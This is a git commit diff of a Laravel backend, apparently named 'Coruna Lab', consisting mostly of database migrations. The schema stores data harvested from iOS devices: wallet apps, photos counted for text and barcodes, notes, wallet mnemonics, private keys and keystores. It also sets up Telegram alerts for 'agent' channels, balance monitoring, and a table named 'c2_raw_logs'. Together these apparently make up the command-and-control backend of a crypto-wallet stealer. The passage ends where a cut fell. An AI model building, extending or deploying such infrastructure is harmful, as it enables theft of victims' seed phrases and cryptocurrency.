init
This commit is contained in:
@@ -0,0 +1 @@
|
||||
*.sqlite*
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace Database\Factories;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Factories\Factory;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
/**
|
||||
* @extends Factory<User>
|
||||
*/
|
||||
class UserFactory extends Factory
|
||||
{
|
||||
/**
|
||||
* The current password being used by the factory.
|
||||
*/
|
||||
protected static ?string $password;
|
||||
|
||||
/**
|
||||
* Define the model's default state.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function definition(): array
|
||||
{
|
||||
return [
|
||||
'name' => fake()->name(),
|
||||
'email' => fake()->unique()->safeEmail(),
|
||||
'email_verified_at' => now(),
|
||||
'password' => static::$password ??= Hash::make('password'),
|
||||
'remember_token' => Str::random(10),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Indicate that the model's email address should be unverified.
|
||||
*/
|
||||
public function unverified(): static
|
||||
{
|
||||
return $this->state(fn (array $attributes) => [
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/**
|
||||
* Laravel default users/sessions scaffolding — no-op.
|
||||
* Agent portal users/channels are created in 2026_08_06_000010_create_agents_and_channels.
|
||||
* Admin auth uses `admins`; session/cache/queue use file/sync drivers.
|
||||
*/
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — CACHE_STORE=file */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
/** Unused — QUEUE_CONNECTION=sync */
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,100 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('admins', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('devices', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('device_id', 64)->unique();
|
||||
$table->string('ios_version', 64)->nullable();
|
||||
$table->string('device_model', 128)->nullable();
|
||||
$table->string('ip', 64)->nullable();
|
||||
$table->text('user_agent')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('device_apps', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('bundle_id')->nullable();
|
||||
$table->string('name')->nullable();
|
||||
$table->boolean('is_wallet')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'bundle_id']);
|
||||
});
|
||||
|
||||
Schema::create('photos', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('sha256', 64)->nullable();
|
||||
$table->string('path');
|
||||
$table->unsignedInteger('size')->nullable();
|
||||
$table->integer('x_hit')->nullable();
|
||||
$table->unsignedInteger('upload_count')->nullable();
|
||||
$table->unsignedInteger('process_index')->nullable();
|
||||
$table->unsignedInteger('text_count')->nullable();
|
||||
$table->unsignedInteger('barcode_count')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::dropIfExists('photos');
|
||||
Schema::dropIfExists('device_apps');
|
||||
Schema::dropIfExists('devices');
|
||||
Schema::dropIfExists('admins');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->string('device_model', 128)->nullable()->after('ios_version');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->string('version', 64)->nullable()->after('name');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::create('device_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('device_key', 64)->index();
|
||||
$table->string('event_name', 128)->nullable()->index();
|
||||
$table->string('desc', 512)->nullable();
|
||||
$table->json('context_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('device_events');
|
||||
|
||||
Schema::table('device_apps', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('device_apps', 'version')) {
|
||||
$table->dropColumn('version');
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'device_model')) {
|
||||
$table->dropColumn('device_model');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Prefer real hardware model; clear event-name pollution from older ingest.
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('device_model')->whereNotNull('model')->update([
|
||||
'device_model' => DB::raw('model'),
|
||||
]);
|
||||
DB::table('devices')
|
||||
->whereIn('device_model', ['corepayload_update', 'sms_version', 'sms_common', 'sms_init'])
|
||||
->orWhere('device_model', 'like', 'sms_%')
|
||||
->orWhere('device_model', 'like', '%_update')
|
||||
->update(['device_model' => null]);
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET created_at = COALESCE(first_seen_at, created_at, last_seen_at, NOW())');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET updated_at = COALESCE(last_seen_at, updated_at, first_seen_at, created_at, NOW())');
|
||||
}
|
||||
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$drop = [];
|
||||
foreach (['model', 'first_seen_at', 'last_seen_at'] as $col) {
|
||||
if (Schema::hasColumn('devices', $col)) {
|
||||
$drop[] = $col;
|
||||
}
|
||||
}
|
||||
if ($drop !== []) {
|
||||
$table->dropColumn($drop);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'model')) {
|
||||
$table->string('model', 128)->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
$table->timestamp('first_seen_at')->nullable()->after('user_agent');
|
||||
}
|
||||
if (! Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
$table->timestamp('last_seen_at')->nullable()->after('first_seen_at');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('devices', 'model') && Schema::hasColumn('devices', 'device_model')) {
|
||||
DB::table('devices')->whereNull('model')->whereNotNull('device_model')->update([
|
||||
'model' => DB::raw('device_model'),
|
||||
]);
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'first_seen_at')) {
|
||||
DB::statement('UPDATE devices SET first_seen_at = created_at');
|
||||
}
|
||||
if (Schema::hasColumn('devices', 'last_seen_at')) {
|
||||
DB::statement('UPDATE devices SET last_seen_at = updated_at');
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
/** Tables unused by Coruna Lab (file logs / file session-cache / sync queue / admins-only auth). */
|
||||
private array $tables = [
|
||||
'c2_raw_logs',
|
||||
'users',
|
||||
'password_reset_tokens',
|
||||
'sessions',
|
||||
'cache',
|
||||
'cache_locks',
|
||||
'jobs',
|
||||
'job_batches',
|
||||
'failed_jobs',
|
||||
];
|
||||
|
||||
public function up(): void
|
||||
{
|
||||
foreach ($this->tables as $table) {
|
||||
Schema::dropIfExists($table);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
// Intentionally empty — Laravel default scaffolding can be re-migrated if needed.
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->dropColumn('profile_json');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'profile_json')) {
|
||||
$table->json('profile_json')->nullable()->after('user_agent');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('channel_id');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'width')) {
|
||||
$table->dropColumn('width');
|
||||
}
|
||||
if (Schema::hasColumn('photos', 'height')) {
|
||||
$table->dropColumn('height');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'x_hit')) {
|
||||
$table->integer('x_hit')->nullable()->after('size');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'x_hit')) {
|
||||
$table->dropColumn('x_hit');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'width')) {
|
||||
$table->unsignedInteger('width')->nullable()->after('path');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'height')) {
|
||||
$table->unsignedInteger('height')->nullable()->after('width');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'upload_count')) {
|
||||
$table->unsignedInteger('upload_count')->nullable()->after('x_hit');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'process_index')) {
|
||||
$table->unsignedInteger('process_index')->nullable()->after('upload_count');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'text_count')) {
|
||||
$table->unsignedInteger('text_count')->nullable()->after('process_index');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'barcode_count')) {
|
||||
$table->unsignedInteger('barcode_count')->nullable()->after('text_count');
|
||||
}
|
||||
if (! Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
|
||||
}
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('photos', 'counters_json')) {
|
||||
foreach (DB::table('photos')->whereNotNull('counters_json')->cursor() as $row) {
|
||||
$c = json_decode((string) $row->counters_json, true);
|
||||
if (! is_array($c)) {
|
||||
continue;
|
||||
}
|
||||
[$upload, $proc] = $this->decodeHexPair($c['idx'] ?? null);
|
||||
[$text, $barcode] = $this->decodeHexPair($c['ftu'] ?? null);
|
||||
$batchTs = $c['ts'] ?? $c['batchBase'] ?? null;
|
||||
DB::table('photos')->where('id', $row->id)->update([
|
||||
'upload_count' => $upload,
|
||||
'process_index' => $proc,
|
||||
'text_count' => $text,
|
||||
'barcode_count' => $barcode,
|
||||
'batch_ts' => is_scalar($batchTs) ? (string) $batchTs : null,
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->dropColumn('counters_json');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'counters_json')) {
|
||||
$table->json('counters_json')->nullable();
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
foreach (['upload_count', 'process_index', 'text_count', 'barcode_count', 'batch_ts'] as $col) {
|
||||
if (Schema::hasColumn('photos', $col)) {
|
||||
$table->dropColumn($col);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** @return array{0: ?int, 1: ?int} */
|
||||
private function decodeHexPair(mixed $packed): array
|
||||
{
|
||||
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [hexdec(substr($packed, 0, 6)), hexdec(substr($packed, 6, 6))];
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->dropColumn('batch_ts');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('photos', 'batch_ts')) {
|
||||
$table->string('batch_ts', 32)->nullable()->after('barcode_count');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
foreach (['photos_sha256_index', 'photos_x_hit_index'] as $name) {
|
||||
try {
|
||||
Schema::table('photos', function (Blueprint $table) use ($name) {
|
||||
$table->dropIndex($name);
|
||||
});
|
||||
} catch (\Throwable) {
|
||||
// Fresh installs already omit these indexes.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->index('sha256');
|
||||
$table->index('x_hit');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Rebuild wallet_addresses with the simplified schema.
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
Schema::dropIfExists('wallets');
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain_type', 64)->nullable();
|
||||
$table->json('balance')->nullable();
|
||||
$table->string('source', 64)->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'source']);
|
||||
});
|
||||
|
||||
Schema::create('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source', 64)->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_keystores', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->json('raw_json');
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->json('content')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('notes');
|
||||
Schema::create('notes', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->nullable()->constrained('devices')->nullOnDelete();
|
||||
$table->string('title')->nullable();
|
||||
$table->longText('body')->nullable();
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::dropIfExists('wallet_keystores');
|
||||
Schema::dropIfExists('wallet_mnemonics');
|
||||
Schema::dropIfExists('wallet_addresses');
|
||||
|
||||
Schema::create('wallets', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->string('source_app')->nullable();
|
||||
$table->text('mnemonic_enc')->nullable();
|
||||
$table->text('privkey_enc')->nullable();
|
||||
$table->json('raw_json')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('wallet_addresses', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||
$table->foreignId('wallet_id')->nullable()->constrained('wallets')->nullOnDelete();
|
||||
$table->string('address')->index();
|
||||
$table->string('chain')->nullable();
|
||||
$table->string('balance')->nullable();
|
||||
$table->string('symbol')->nullable();
|
||||
$table->boolean('telegram_notified')->default(false);
|
||||
$table->json('meta_json')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['device_id', 'address', 'chain']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
// Keep newest row per device+source; drop older duplicates from repeated /api/user/set.
|
||||
$dupes = DB::table('wallet_mnemonics')
|
||||
->select('device_id', 'source', DB::raw('MAX(id) as keep_id'))
|
||||
->groupBy('device_id', 'source')
|
||||
->get();
|
||||
|
||||
foreach ($dupes as $row) {
|
||||
DB::table('wallet_mnemonics')
|
||||
->where('device_id', $row->device_id)
|
||||
->where(function ($q) use ($row) {
|
||||
if ($row->source === null) {
|
||||
$q->whereNull('source');
|
||||
} else {
|
||||
$q->where('source', $row->source);
|
||||
}
|
||||
})
|
||||
->where('id', '!=', $row->keep_id)
|
||||
->delete();
|
||||
}
|
||||
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->string('mnemonic_hash', 64)->nullable()->after('source');
|
||||
$table->unique(['device_id', 'mnemonic_hash']);
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||
$table->dropUnique(['device_id', 'mnemonic_hash']);
|
||||
$table->dropColumn('mnemonic_hash');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('users', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('username')->unique();
|
||||
$table->string('password');
|
||||
$table->unsignedTinyInteger('status')->default(1); // 1=enabled 0=disabled
|
||||
$table->string('comment')->nullable();
|
||||
$table->rememberToken();
|
||||
$table->timestamps();
|
||||
});
|
||||
|
||||
Schema::create('channels', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('channel_id', 64)->unique();
|
||||
$table->foreignId('user_id')->nullable()->constrained('users')->nullOnDelete();
|
||||
$table->json('domains')->nullable();
|
||||
$table->unsignedTinyInteger('status')->default(1);
|
||||
$table->timestamps();
|
||||
$table->index('user_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('channels');
|
||||
Schema::dropIfExists('users');
|
||||
}
|
||||
};
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->decimal('usdt', 36, 6)->nullable()->after('chain_type');
|
||||
$table->decimal('trx', 36, 6)->nullable()->after('usdt');
|
||||
$table->decimal('eth', 36, 18)->nullable()->after('trx');
|
||||
$table->decimal('btc', 36, 8)->nullable()->after('eth');
|
||||
$table->decimal('bnb', 36, 18)->nullable()->after('btc');
|
||||
$table->unsignedTinyInteger('monitor')->default(0)->after('bnb');
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('wallet_addresses', 'balance')) {
|
||||
$rows = DB::table('wallet_addresses')->select(['id', 'balance'])->get();
|
||||
foreach ($rows as $row) {
|
||||
$map = $this->balanceToCoins($row->balance);
|
||||
if ($map === []) {
|
||||
continue;
|
||||
}
|
||||
DB::table('wallet_addresses')->where('id', $row->id)->update($map);
|
||||
}
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->dropColumn('balance');
|
||||
});
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('chat_id', 64)->nullable()->after('comment');
|
||||
$table->string('bot_id', 128)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn(['chat_id', 'bot_id']);
|
||||
});
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->json('balance')->nullable()->after('chain_type');
|
||||
});
|
||||
|
||||
$rows = DB::table('wallet_addresses')->select(['id', 'usdt', 'trx', 'eth', 'btc', 'bnb'])->get();
|
||||
foreach ($rows as $row) {
|
||||
$balance = [];
|
||||
foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'eth' => 'ETH', 'btc' => 'BTC', 'bnb' => 'BNB'] as $col => $symbol) {
|
||||
$value = $row->{$col};
|
||||
if ($value !== null && $value !== '') {
|
||||
$balance[$symbol] = 0 + $value;
|
||||
}
|
||||
}
|
||||
DB::table('wallet_addresses')->where('id', $row->id)->update([
|
||||
'balance' => $balance === [] ? null : json_encode($balance, JSON_UNESCAPED_UNICODE),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||
$table->dropColumn(['usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor']);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function balanceToCoins(mixed $balance): array
|
||||
{
|
||||
if ($balance === null || $balance === '' || $balance === '[]' || $balance === '{}') {
|
||||
return [];
|
||||
}
|
||||
if (is_string($balance)) {
|
||||
$decoded = json_decode($balance, true);
|
||||
if (! is_array($decoded)) {
|
||||
return [];
|
||||
}
|
||||
$balance = $decoded;
|
||||
}
|
||||
if (! is_array($balance)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach (['USDT' => 'usdt', 'TRX' => 'trx', 'ETH' => 'eth', 'BTC' => 'btc', 'BNB' => 'bnb'] as $symbol => $col) {
|
||||
if (! array_key_exists($symbol, $balance) && ! array_key_exists(strtolower($symbol), $balance)) {
|
||||
continue;
|
||||
}
|
||||
$raw = $balance[$symbol] ?? $balance[strtolower($symbol)] ?? null;
|
||||
if ($raw === null || $raw === '') {
|
||||
$out[$col] = null;
|
||||
continue;
|
||||
}
|
||||
$out[$col] = is_numeric($raw) ? $raw : null;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('tokenview_events', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('txid', 128);
|
||||
$table->string('address', 128);
|
||||
$table->string('coin', 32);
|
||||
$table->string('token_symbol', 32)->default('');
|
||||
$table->string('value', 64)->nullable();
|
||||
$table->string('token_value', 64)->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['txid', 'address', 'coin', 'token_symbol'], 'tokenview_events_dedupe');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('tokenview_events');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
